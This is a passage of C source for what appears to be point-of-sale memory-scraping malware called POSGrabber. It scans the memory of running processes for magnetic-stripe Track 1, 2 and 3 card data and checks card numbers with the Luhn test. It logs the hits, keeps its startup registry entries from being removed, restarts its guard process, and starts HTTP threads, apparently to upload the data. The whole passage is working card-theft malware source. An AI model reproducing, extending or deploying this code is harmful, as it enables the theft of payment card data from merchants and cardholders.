221 | hCacheMapping = CreateFileMapping(INVALID_HANDLE_VALUE,&sa,PAGE_READWRITE,0,StaticCacheSize,NULL);
222 | pCacheMap = MapViewOfFile(hCacheMapping,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
223 | _memset(pCacheMap,0x00,StaticCacheSize);
224 | } else { //File mapping already exists, just map it
225 | pCacheMap = MapViewOfFile(hCacheMapping,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
226 | //MessageBox(NULL,pCacheMap,NULL,MB_OK);
227 | }
228 | CacheSize = 0;
229 | /////////////////////////////////////////////////////////////
230 |
231 | //Start child for process protection
232 | BeginInjection(TRUE);
233 |
234 | CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MonitorShutdown,NULL,0,NULL);
235 |
236 | pGlobalBuf = VirtualAlloc(NULL,ReadLimit+4096,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
237 | CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)HttpInteract,NULL,0,NULL);
238 | //SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_IDLE);
239 | //ScanMemory(); //Scan the memory before connecting to the http server so we grab data ultimately
240 | //Start creating threads
241 |
242 | hThreadScan = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ScanMemoryLoop,NULL,0,NULL);
243 | //SetThreadPriority(hThreadScan, THREAD_PRIORITY_IDLE); //Lowers the CPU usage when scanning the memory
244 | hThreadRegistry = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ProtectRegistry,NULL,0,NULL); //Thread that waits for change in the startup registry to restore them
245 | hThreadChild = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MonitorChild,NULL,0,NULL); //Thread that checks if child is dead to restart it
246 |
247 | //SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
248 |
249 | HttpMain();
250 | }
251 |
252 | void ScanMemoryLoop() {
253 |
254 | DWORD dWait;
255 |
256 | while(1) {
257 |
258 | ScanMemory();
259 | dWait = ScanInterval;
260 | Sleep(dWait);
261 | }
262 | }
263 |
264 | LRESULT CALLBACK DetectShutdown(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
265 |
266 | if(message==WM_QUERYENDSESSION || lParam==ENDSESSION_LOGOFF) {
267 |
268 | SetEvent(hConnectEvent);
269 | Sleep(2000);
270 | return TRUE;
271 | }
272 | else { return DefWindowProc(hWnd, message, wParam, lParam); }
273 |
274 | return 0;
275 | }
276 |
277 |
278 | BOOL SkipProcess(char *ProcName);
279 |
280 | void TrackSearch(char *pBuf,DWORD RealBufSize);
281 | void TrackSearchNoSentinels(char *pBuf,DWORD RealBufSize);
282 |
283 | BOOL ScanMemory() {
284 |
285 | HANDLE hProcess,hProcesses;
286 | MEMORY_BASIC_INFORMATION MBI;
287 | BYTE *Buf;
288 | DWORD ReadAddr,QueryAddr,BytesRead,BufSize;
289 | BOOL bRet,pBool;
290 |
291 |
292 | bRet = FALSE;
293 | _memset(&ProcessInfo,0x00,sizeof(ProcessInfo));
294 | ProcessInfo.dwSize = sizeof(PROCESSENTRY32);
295 |
296 | hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
297 |
298 | Process32First(hProcesses,&ProcessInfo);
299 | do{ //Enumerate processes
300 |
301 | if(SkipProcess(ProcessInfo.szExeFile)==TRUE) { continue; }
302 | if(CurPID==ProcessInfo.th32ProcessID||CurPID==ProcessInfo.th32ParentProcessID) { continue; }
303 |
304 | hProcess = NULL;
305 | Sleep(10); //gives the CPU slice of time
306 |
307 | hProcess = OpenProcess(PROCESS_VM_READ|PROCESS_QUERY_INFORMATION,FALSE,ProcessInfo.th32ProcessID);
308 | if(hProcess==NULL) { continue; }
309 |
310 | if(x64==TRUE) { //we are running in WOW64 environment
311 | IsWoW64ProcessX(hProcess,&pBool);
312 | if(pBool==FALSE) { //This is x64 process
313 | CloseHandle(hProcess);
314 | continue;
315 | }
316 | }
317 |
318 |
319 | QueryAddr = 0;
320 | while(1) { //Enumerate process memory regions
321 |
322 | //Sleep(1);
323 | _memset(&MBI,0x00,sizeof(MBI));
324 | VirtualQueryEx(hProcess,(LPVOID)QueryAddr,&MBI,sizeof(MBI)); //if its bigger than 1 0 000 000 bytes, read only that amount
325 | if(MBI.BaseAddress==0 && QueryAddr!=0) { break; } //memory regions finished
326 |
327 | QueryAddr += (DWORD) MBI.RegionSize;
328 |
329 | if(MBI.Protect&PAGE_NOACCESS || MBI.Protect&PAGE_GUARD /*|| MBI.Protect&PAGE_EXECUTE || MBI.Protect&PAGE_EXECUTE_READ || MBI.State&MEM_FREE*/) { continue; }
330 |
331 | ReadAddr = 0;
332 | while(MBI.RegionSize>0) {
333 |
334 | if(ReadAddr!=0) {
335 | ReadAddr+=ReadLimit;
336 | } else {
337 | ReadAddr = (DWORD) MBI.BaseAddress;
338 | }
339 |
340 | if(MBI.RegionSize>ReadLimit) {
341 |
342 | BufSize = ReadLimit;
343 | MBI.RegionSize -= ReadLimit;
344 |
345 | } else {
346 |
347 | BufSize = MBI.RegionSize;
348 | MBI.RegionSize = 0;
349 | }
350 |
351 | BytesRead = 0;
352 | //Buf = HeapAlloc(hHeap,0,BufSize+100); //+100 just for in case
353 |
354 | //Buf = VirtualAlloc(NULL,BufSize+100,MEM_COMMIT,PAGE_READWRITE);
355 | Buf = pGlobalBuf;
356 | ReadProcessMemory(hProcess,(LPVOID)ReadAddr,Buf,BufSize,&BytesRead); //Common issue for dumpers, cuz you cant know if the memory region is not corrupted
357 | //if(GetLastError()==ERROR_PARTIAL_COPY) { MessageBox(NULL,NULL,NULL,MB_OK); }
358 |
359 |
360 |
361 | //MessageBox(NULL,ProcessInfo.szExeFile,NULL,MB_OK);
362 | TrackSearch(Buf,BytesRead);
363 | TrackSearchNoSentinels(Buf,BytesRead);
364 |
365 |
366 | //VirtualFree(NULL,BufSize+100,PAGE_READWRITE);
367 | //HeapFree(hHeap,0,Buf);
368 | }
369 |
370 | } //enumerate memory loop
371 |
372 | CloseHandle(hProcess);
373 |
374 | //Sleep(50); //give the processor some rest - MAY HAVE TO INCREASE
375 | }while(Process32Next(hProcesses, &ProcessInfo)); //enumerate processes loop
376 |
377 | CloseHandle(hProcesses);
378 |
379 |
380 | return bRet;
381 | }
382 |
383 | void AddCache(BYTE *ptr, DWORD len) {
384 |
385 | BYTE *pTemp;
386 |
387 | //MessageBox(NULL,"Add Cache",NULL,MB_OK);
388 | if((CacheSize+len)>StaticCacheSize) {
389 | _memset(pCacheMap,0x00,CacheSize);
390 | CacheSize = 0;
391 | }
392 |
393 | pTemp = (pCacheMap+CacheSize);
394 | _memcpy(pTemp,ptr,len);
395 | CacheSize += len;
396 |
397 | //MessageBox(NULL,pCacheMap,NULL,MB_OK);
398 | }
399 |
400 | void AddItem(BYTE *ptr, DWORD len) {
401 |
402 | BYTE *pTempBlob,ProcessName[64];
403 | DWORD ProcessNameLen,NewSize;
404 |
405 |
406 |
407 | ProcessNameLen = (lstrlen(ProcessInfo.szExeFile)+lstrlen(LastProcess)+2); //+2 for the '|' and ':' marking symbols
408 |
409 | EnterCriticalSection(&crsBlob);
410 |
411 | GrowSize += len;
412 |
413 | if((GrowSize+ProcessNameLen)>BlobSize) { //Need to re-alloc
414 |
415 | //MessageBox(NULL,"Buffer Full",NULL,MB_OK);
416 | //pTempBlob = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,BlobSize+ReAllocChunk);
417 | NewSize = BlobSize+ReAllocChunk;
418 | pTempBlob = VirtualAlloc(NULL,NewSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
419 |
420 | _memcpy(pTempBlob,pBlob,BlobSize);
421 |
422 | VirtualFree(pBlob,BlobSize,MEM_FREE);
423 | //HeapFree(hHeap,HEAP_ZERO_MEMORY,pBlob);
424 |
425 | pBlob = pTempBlob;
426 | BlobSize = NewSize;
427 | }
428 |
429 | if(lstrcmp(LastProcess,ProcessInfo.szExeFile)!=0 || GrowSize==len) { //if we enumare other process or we are starting logging new dumps
430 |
431 | lstrcpy(LastProcess,ProcessInfo.szExeFile);
432 | ProcessNameLen = lstrlen(LastProcess)+2;
433 |
434 | _memset(ProcessName,0x00,sizeof(ProcessName));
435 | wsprintf(ProcessName,"|%s:",LastProcess);
436 |
437 | _memcpy(pBlob,ProcessName,ProcessNameLen);
438 | pBlob += ProcessNameLen;
439 | GrowSize += ProcessNameLen;
440 | }
441 |
442 | _memcpy(pBlob,ptr,len);
443 | pBlob += len;
444 |
445 | LeaveCriticalSection(&crsBlob);
446 |
447 | }
448 |
449 | int IsValidCC(const char* cc,int CClen)
450 | {
451 | const int m[] = {0,2,4,6,8,1,3,5,7,9}; // mapping for rule 3
452 | int i, odd = 1, sum = 0;
453 |
454 | for (i = CClen; i--; odd = !odd) {
455 | int digit = cc[i] - '0';
456 | sum += odd ? digit : m[digit];
457 | }
458 |
459 | return sum % 10 == 0;
460 | }
461 |
462 | BOOL IsDigit(char c) {
463 |
464 | if(c>=0x30 && c<=0x39) { return TRUE; } else { return FALSE; }
465 | }
466 |
467 | int DigitsLen(char *Str,BOOL bWCHAR,BOOL bSentinel) {
468 |
469 | int len;
470 |
471 | len = 0;
472 |
473 | while(IsDigit(*Str)==TRUE) {
474 |
475 | len++;
476 |
477 |
478 | if(bSentinel==TRUE) { //Searching with sentinels - from the beginning
479 | Str++;
480 | if(bWCHAR==TRUE) { Str++; }
481 | } else { //Searching without sentinels - searching from the middle
482 | Str--;
483 | if(bWCHAR==TRUE) { Str--; }
484 | }
485 |
486 | if(len>19) { return -1; } //This is too over MaxLen
487 | }
488 |
489 | if(len!=15 && len!=16 && len!=19) { return -1; }
490 |
491 | return len;
492 | }
493 |
494 | BOOL IsNameChar(char c) {
495 |
496 | if((c>=0x41 && c<=0x5A)
497 | ||(c>=0x61 && c<=0x7A)
498 | ||c==' '||c=='^'||c=='/') {
499 |
500 | return TRUE;
501 | } else { return FALSE; }
502 | }
503 |
504 | int Track1NameLength(char *Str,BOOL bWCHAR) {
505 |
506 | int len;
507 |
508 | len = 0;
509 |
510 | while(IsNameChar(*Str)==TRUE) {
511 | len++;
512 | Str++;
513 | if(bWCHAR==TRUE) { Str++; }
514 | if(len>26) { return -1; } //This is to over MaxLen
515 | }
516 |
517 | if(len<2 || len>26) { return -1; }
518 |
519 | return len;
520 | }
521 |
522 | int IsEndDataValid(char *Str,BOOL bWCHAR,BOOL bSentinel,int MaxValidLen) {
523 |
524 | int len;
525 |
526 | len = 0;
527 |
528 | while(IsDigit(*Str)==TRUE) {
529 | len++;
530 | Str++;
531 | if(bWCHAR==TRUE) { Str++; }
532 | if(len>MaxValidLen) { return -1; }
533 | }
534 |
535 | if(bSentinel==TRUE) { // Check for '?', only when looking for sentinel
536 | if(*Str=='?') { len++; if(len>=MinimalEndData) { return len; } else { return -1; } } else { return -1; }
537 | } else { if(len>=MinimalEndData) { return len; } else { return -1; } } //When there is no sentinel
538 | }
539 |
540 | void TrackSearchNoSentinels(char *pBuf,DWORD RealBufSize) {
541 |
542 | char *sBuf,*Buf,CC[20],Track1[T1MaxLen],Track2[T2MaxLen],*ptr;
543 | BOOL bWCHAR,bSentinel,bIncreased;
544 | DWORD len,TotalLen,decreased,CClen;
545 |
546 |
547 | bIncreased = FALSE;
548 | decreased = 0;
549 | while(RealBufSize>0) {
550 |
551 | Check:
552 | Buf = pBuf;
553 |
554 | if(*Buf!=0x00 && *Buf<0x7F && *Buf>0x20) {
555 |
556 | //START SEARCHING WITHOUT SENTINELS
557 | if(*Buf=='^' && decreased>25) { //TRACK 1
558 | //bIncreased = FALSE;
559 | TotalLen = 0;
560 | Buf--; //back skip '^'
561 | sBuf = Buf;
562 |
563 | if(*Buf==0x00 && (IsDigit(*(--Buf))==TRUE)) {
564 |
565 | bWCHAR=TRUE;
566 |
567 | } else if(IsDigit(*sBuf)==TRUE) {
568 |
569 | bWCHAR=FALSE;
570 |
571 | } else { pBuf++; RealBufSize--; continue; }
572 | bSentinel = FALSE;
573 |
574 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length
575 |
576 | if(bWCHAR==FALSE) { Buf-=(len-1); } else { Buf-=2*(len-1); } //-1 cuz otherwise we get 1 char before the CC
577 | sBuf = Buf;
578 |
579 | _memset(CC,0x00,sizeof(CC));
580 | if(bWCHAR==TRUE) {
581 |
582 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL);
583 |
584 | } else {
585 |
586 | _memcpy(CC,Buf,len);
587 | }
588 | TotalLen += len; //for CC len
589 | CClen = len;
590 |
591 |
592 | if(IsValidCC(CC,len)==TRUE) {
593 | //MessageBox(NULL,"Valid CC",NULL,MB_OK);
594 |
595 | //Skip CC
596 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
597 |
598 | if(*Buf=='^') { //May be valid Track1 name
599 |
600 | //MessageBox(NULL,"May be valid Track1 name",NULL,MB_OK);
601 | if((len = Track1NameLength(Buf,bWCHAR))!=-1) {
602 |
603 | //MessageBox(NULL,"Valid Track1 name",NULL,MB_OK);
604 |
605 | //Skip Track1 name
606 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
607 | TotalLen += len; //for Track1 name
608 |
609 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T1MaxLen-TotalLen)))!=-1) { //We have valid track 1
610 |
611 | //Skip track 1 end data
612 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
613 | TotalLen += len;
614 |
615 | _memset(Track1,0x00,sizeof(Track1));
616 | ptr = Track1;
617 | *ptr = '%';
618 | ptr++;
619 | *ptr = 'B';
620 | ptr++;
621 | if(bWCHAR==FALSE) { _memcpy(ptr,sBuf,TotalLen); }
622 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,ptr,sizeof(Track1),NULL,NULL); }
623 |
624 | ptr+=lstrlen(ptr);
625 | *ptr = '?';
626 |
627 |
628 | if(StrStr(pCacheMap,Track1)==NULL) { //not logged
629 |
630 | //Sleep(1);
631 | //MessageBox(NULL,"Add Item",NULL,MB_OK);
632 | AddItem(Track1,TotalLen+3);
633 | AddCache(Track1,TotalLen+3);
634 |
635 | TotalLen -= CClen;
636 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; }
637 | bIncreased = TRUE;
638 | //MessageBoxW(NULL,pBuf,NULL,MB_OK);
639 | //OutputDebugString("After bIncreased");
640 | }
641 | //printf("%s\n",Track1);
642 | }
643 | }
644 | }
645 | }
646 | }
647 | }
648 |
649 |
650 | if((*Buf=='=' || *Buf=='D') && decreased>25) { //TRACK 2
651 | //bIncreased = FALSE;
652 | TotalLen = 0;
653 | Buf--; //back skip '='
654 | sBuf = Buf;
655 |
656 | if(*Buf==0x00 && (IsDigit(*(--Buf))==TRUE)) {
657 |
658 | //MessageBox(NULL,"May be WCHAR track1 backlen",NULL,MB_OK);
659 | bWCHAR=TRUE;
660 |
661 | } else if(IsDigit(*sBuf)==TRUE) {
662 |
663 | //MessageBox(NULL,"May be char track1 backlen",NULL,MB_OK);
664 | bWCHAR=FALSE;
665 | } else { pBuf++; RealBufSize--; continue; }
666 | bSentinel = FALSE;
667 |
668 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length
669 |
670 | if(bWCHAR==FALSE) { Buf-=(len-1); } else { Buf-=2*(len-1); } //-1 cuz otherwise we get 1 char before the CC
671 | sBuf = Buf;
672 |
673 | _memset(CC,0x00,sizeof(CC));
674 | if(bWCHAR==TRUE) {
675 |
676 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL);
677 |
678 | } else {
679 |
680 | _memcpy(CC,Buf,len);
681 | }
682 | TotalLen += len; //for CC len
683 | CClen = len;
684 |
685 |
686 | if(IsValidCC(CC,len)==TRUE) {
687 | //MessageBox(NULL,"Valid CC",NULL,MB_OK);
688 |
689 | //Skip CC
690 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
691 |
692 | if(*Buf=='=' || *Buf=='D') { //May be valid Track2
693 |
694 | if(bWCHAR==FALSE) { Buf++; } else { Buf += 2; }
695 | TotalLen += 1;
696 |
697 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T2MaxLen-TotalLen)))!=-1) { //We have valid track 1
698 |
699 | //Skip track 2 end data
700 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
701 | TotalLen += len;
702 |
703 | _memset(Track2,0x00,sizeof(Track2));
704 | ptr = Track2;
705 | *ptr = ';';
706 | ptr++;
707 | if(bWCHAR==FALSE) { _memcpy(ptr,sBuf,TotalLen); }
708 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,ptr,sizeof(Track2),NULL,NULL); }
709 |
710 | ptr+=lstrlen(ptr);
711 | *ptr = '?';
712 |
713 |
714 | if(StrStr(pCacheMap,Track2)==NULL) { //not logged
715 |
716 | //Sleep(1);
717 | //MessageBox(NULL,Track2,NULL,MB_OK);
718 | //Corrupt
719 | AddItem(Track2,TotalLen+2);
720 | AddCache(Track2,TotalLen+2);
721 |
722 | TotalLen -= CClen;
723 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen; RealBufSize -= 2*TotalLen; }
724 | bIncreased = TRUE;
725 | // MessageBoxW(NULL,pBuf,NULL,MB_OK);
726 |
727 | }
728 |
729 | }
730 | }
731 | }
732 | }
733 | }
734 |
735 | } //if(*Buf<0x7F && *Buf>0x20)
736 | if(bIncreased==TRUE) { bIncreased=FALSE; goto Check; } //We just found dump, and increased over it, dont skip that char after the dump
737 | pBuf++;
738 | RealBufSize--;
739 | decreased++;
740 | } //while(BufSize>0)
741 | }
742 |
743 | void TrackSearch(char *pBuf,DWORD RealBufSize) {
744 |
745 | char *sBuf,*Buf,CC[20],Track1[T1MaxLen],Track2[T2MaxLen],Track3[T3MaxLen];
746 | BOOL bWCHAR,bSentinel,bIncreased;
747 | DWORD len,TotalLen;
748 |
749 |
750 | bIncreased = FALSE;
751 | while(RealBufSize>0) {
752 |
753 | Check:
754 | Buf = pBuf;
755 | if(*Buf!=0x00 && *Buf<0x7F && *Buf>0x20) {
756 |
757 | //Now start checking what kind of track is that
758 | if(*Buf=='%' && RealBufSize>T1MaxLen) { //Check if this is track1
759 |
760 | //bIncreased = FALSE;
761 | TotalLen = 0;
762 | Buf++; //skip '%'
763 |
764 | sBuf = Buf;
765 | if(*Buf==0x00 && (*(++Buf)=='B' || *Buf=='b')) { //May be WCHAR track1
766 |
767 | //MessageBox(NULL,"May be WCHAR track1",NULL,MB_OK);
768 | bWCHAR = TRUE;
769 | Buf+=2; //Skip 'B'
770 |
771 | } else if(*sBuf=='B' || *sBuf=='b') { //May be char track1
772 |
773 | //MessageBox(NULL,"May be char track1",NULL,MB_OK);
774 | bWCHAR = FALSE;
775 | Buf++; //Skip 'B'
776 |
777 | } else { pBuf++; RealBufSize--; continue; }
778 | TotalLen += 2; // for %B
779 |
780 | bSentinel = TRUE;
781 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length
782 | //MessageBox(NULL,"Valid CC Length",NULL,MB_OK);
783 |
784 | _memset(CC,0x00,sizeof(CC));
785 | if(bWCHAR==TRUE) {
786 |
787 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL);
788 |
789 | } else {
790 |
791 | _memcpy(CC,Buf,len);
792 | }
793 | TotalLen += len; //for CC len
794 |
795 |
796 | if(IsValidCC(CC,len)==TRUE) {
797 | //MessageBox(NULL,"Valid CC",NULL,MB_OK);
798 |
799 | //Skip CC
800 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
801 |
802 | if(*Buf=='^') { //May be valid Track1 name
803 |
804 | //MessageBox(NULL,"May be valid Track1 name",NULL,MB_OK);
805 | if((len = Track1NameLength(Buf,bWCHAR))!=-1) {
806 |
807 | //MessageBox(NULL,"Valid Track1 name",NULL,MB_OK);
808 |
809 | //Skip Track1 name
810 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
811 | TotalLen += len; //for Track1 name
812 |
813 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T1MaxLen-TotalLen)))!=-1) { //We have valid track 1
814 |
815 | //Skip track 1 end data
816 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
817 |
818 | TotalLen += len;
819 | sBuf--; //cuz we skipped the % before we assigned this pointer
820 |
821 | _memset(Track1,0x00,sizeof(Track1));
822 | if(bWCHAR==FALSE) { _memcpy(Track1,sBuf,TotalLen); }
823 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,Track1,sizeof(Track1),NULL,NULL); }
824 |
825 |
826 |
827 | if(StrStr(pCacheMap,Track1)==NULL) { //not logged
828 |
829 | //Sleep(1);
830 | //MessageBox(NULL,Track1,NULL,MB_OK);
831 | AddItem(Track1,TotalLen);
832 | AddCache(Track1,TotalLen);
833 |
834 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; }
835 | bIncreased = TRUE;
836 | //OutputDebugString("After bIncreased");
837 | }
838 | //printf("%s\n",Track1);
839 | }
840 | }
841 | }
842 | }
843 | }
844 |
845 | } //TACK 1
846 |
847 |
848 | if(*Buf==';' && RealBufSize>T2MaxLen) { //Check if this is track2
849 |
850 | //bIncreased = FALSE;
851 | TotalLen = 0;
852 | Buf++; //skip ';'
853 |
854 | sBuf = Buf;
855 | //Check is this WCHAR and first digit of CC
856 | if(*Buf==0x00 && (IsDigit(*(++Buf))==TRUE)) {
857 |
858 | bWCHAR = TRUE;
859 | // MessageBox(NULL,"May be WCHAR track2",NULL,MB_OK);
860 | } else if(IsDigit(*sBuf)==TRUE) {
861 |
862 | bWCHAR = FALSE;
863 | // MessageBox(NULL,"May be WCHAR track2",NULL,MB_OK);
864 | } else { pBuf++; RealBufSize--; continue; }
865 | TotalLen += 1; //for ';'
866 |
867 | bSentinel = TRUE;
868 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length
869 | //MessageBox(NULL,"Valid CC Length",NULL,MB_OK);
870 |
871 | _memset(CC,0x00,sizeof(CC));
872 | if(bWCHAR==TRUE) {
873 |
874 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL);
875 |
876 | } else {
877 |
878 | _memcpy(CC,Buf,len);
879 |
880 | }
881 | TotalLen += len; //for CC len
882 |
883 | if(IsValidCC(CC,len)==TRUE) {
884 | //MessageBox(NULL,"Valid CC",NULL,MB_OK);
885 |
886 | //Skip CC
887 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
888 |
889 | if(*Buf=='=' || *Buf=='D') {
890 |
891 | if(bWCHAR==FALSE) { Buf++; } else { Buf += 2; }
892 | TotalLen += 1;
893 |
894 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T2MaxLen-TotalLen)))!=-1) { //We have valid track 2
895 |
896 | //Skip track 2 end data
897 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
898 | TotalLen += len;
899 |
900 | sBuf--; //cuz we skipped the ; before we assigned this pointer
901 |
902 | _memset(Track2,0x00,sizeof(Track2));
903 | if(bWCHAR==FALSE) { _memcpy(Track2,sBuf,TotalLen); }
904 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,Track2,sizeof(Track2),NULL,NULL); }
905 |
906 | //MessageBox(NULL,Track2,NULL,MB_OK);
907 | if(StrStr(pCacheMap,Track2)==NULL) { //not logged
908 |
909 | //Sleep(1);
910 | //MessageBox(NULL,Track2,NULL,MB_OK);
911 | //Corrupt
912 | AddItem(Track2,TotalLen);
913 | AddCache(Track2,TotalLen);
914 |
915 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; }
916 |
917 | bIncreased = TRUE;
918 | }
919 | }
920 |
921 | }
922 | }
923 |
924 | }
925 |
926 | }// TRACK 2
927 |
928 |
929 | if((*Buf=='+' || *Buf=='!' || *Buf=='#') && RealBufSize>T3MaxLen) { //Check if this is track3
930 |
931 | //bIncreased = FALSE;
932 | TotalLen = 0;
933 | Buf++; //skip '+'
934 |
935 | sBuf = Buf;
936 | //Check is this WCHAR and first digit of track3
937 | if(*Buf==0x00 && (IsDigit(*(++Buf))==TRUE)) {
938 |
939 | bWCHAR = TRUE;
940 |
941 | } else if(IsDigit(*sBuf)==TRUE) {
942 |
943 | bWCHAR = FALSE;
944 |
945 | } else { pBuf++; RealBufSize--; continue; }
946 |
947 |
948 | //We are the first digit after + currently, check if next is digit too, since track3 has 2 digits after the + right before the CC
949 | if(bWCHAR==TRUE) {
950 | Buf += 2;
951 | if(IsDigit(*Buf)==FALSE) { pBuf++; RealBufSize--; continue; }
952 | Buf += 2;
953 | //MessageBox(NULL,"May be WCHAR track3",NULL,MB_OK);
954 | } else {
955 | Buf++;
956 | if(IsDigit(*Buf)==FALSE) { pBuf++; RealBufSize--; continue; }
957 | Buf++;
958 | //MessageBox(NULL,"May be WCHAR track3",NULL,MB_OK);
959 | }
960 | TotalLen += 3; //for the + and firt two digits
961 |
962 | bSentinel = TRUE;
963 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length
964 | //MessageBox(NULL,"Valid CC Length",NULL,MB_OK);
965 |
966 | _memset(CC,0x00,sizeof(CC));
967 | if(bWCHAR==TRUE) {
968 |
969 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL);
970 |
971 | } else {
972 |
973 | _memcpy(CC,Buf,len);
974 |
975 | }
976 | TotalLen += len; //for CC len
977 |
978 | if(IsValidCC(CC,len)==TRUE) {
979 | //MessageBox(NULL,"Valid CC",NULL,MB_OK);
980 |
981 | //Skip CC
982 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
983 |
984 | if(*Buf=='=' || *Buf=='D') {
985 |
986 | if(bWCHAR==FALSE) { Buf++; } else { Buf += 2; }
987 | TotalLen += 1;
988 |
989 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T2MaxLen-TotalLen)))!=-1) { //We have valid track 2
990 |
991 | //Skip track 3 end data
992 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; }
993 | TotalLen += len;
994 | sBuf--; //cuz we skipped the + before we assigned this pointer
995 |
996 | _memset(Track3,0x00,sizeof(Track3));
997 | if(bWCHAR==FALSE) { _memcpy(Track3,sBuf,TotalLen); }
998 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,Track3,sizeof(Track3),NULL,NULL); }
999 |
1000 | //MessageBox(NULL,Track3,NULL,MB_OK);
1001 | if(StrStr(pCacheMap,Track3)==NULL) { //not logged
1002 |
1003 | //Sleep(1);
1004 | //MessageBox(NULL,"Add Item",NULL,MB_OK);
1005 |
1006 | AddItem(Track3,TotalLen);
1007 | AddCache(Track3,TotalLen);
1008 |
1009 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; }
1010 | bIncreased = TRUE;
1011 |
1012 | }
1013 | }
1014 |
1015 | }
1016 | }
1017 |
1018 | }
1019 |
1020 | } //TRACK 3
1021 |
1022 |
1023 | } //if(*Buf<0x7F && *Buf>0x20)
1024 | if(bIncreased==TRUE) { bIncreased=FALSE; goto Check; } //We just found dump, and increased over it, dont skip that char after the dump
1025 | pBuf++;
1026 | RealBufSize--;
1027 |
1028 | } //while(BufSize>0)
1029 | }
1030 |
1031 | BOOL SkipProcess(char *ProcName) { //TRUE - skip the processes, FALSE - dont skip
1032 |
1033 | int i;
1034 |
1035 | i = 0;
1036 | while(SkipProcesses[i]!=0x00) {
1037 |
1038 | if(lstrcmpi(ProcName,SkipProcesses[i])==0) { return TRUE; }
1039 | i++;
1040 | }
1041 |
1042 | return FALSE;
1043 | }
1044 |
--------------------------------------------------------------------------------
/source/POSGrabber.dsp:
--------------------------------------------------------------------------------
1 | # Microsoft Developer Studio Project File - Name="POSGrabber" - Package Owner=<4>
2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00
3 | # ** DO NOT EDIT **
4 |
5 | # TARGTYPE "Win32 (x86) Application" 0x0101
6 |
7 | CFG=POSGrabber - Win32 Debug
8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE,
9 | !MESSAGE use the Export Makefile command and run
10 | !MESSAGE
11 | !MESSAGE NMAKE /f "POSGrabber.mak".
12 | !MESSAGE
13 | !MESSAGE You can specify a configuration when running NMAKE
14 | !MESSAGE by defining the macro CFG on the command line. For example:
15 | !MESSAGE
16 | !MESSAGE NMAKE /f "POSGrabber.mak" CFG="POSGrabber - Win32 Debug"
17 | !MESSAGE
18 | !MESSAGE Possible choices for configuration are:
19 | !MESSAGE
20 | !MESSAGE "POSGrabber - Win32 Release" (based on "Win32 (x86) Application")
21 | !MESSAGE "POSGrabber - Win32 Debug" (based on "Win32 (x86) Application")
22 | !MESSAGE
23 |
24 | # Begin Project
25 | # PROP AllowPerConfigDependencies 0
26 | # PROP Scc_ProjName ""
27 | # PROP Scc_LocalPath ""
28 | CPP=cl.exe
29 | MTL=midl.exe
30 | RSC=rc.exe
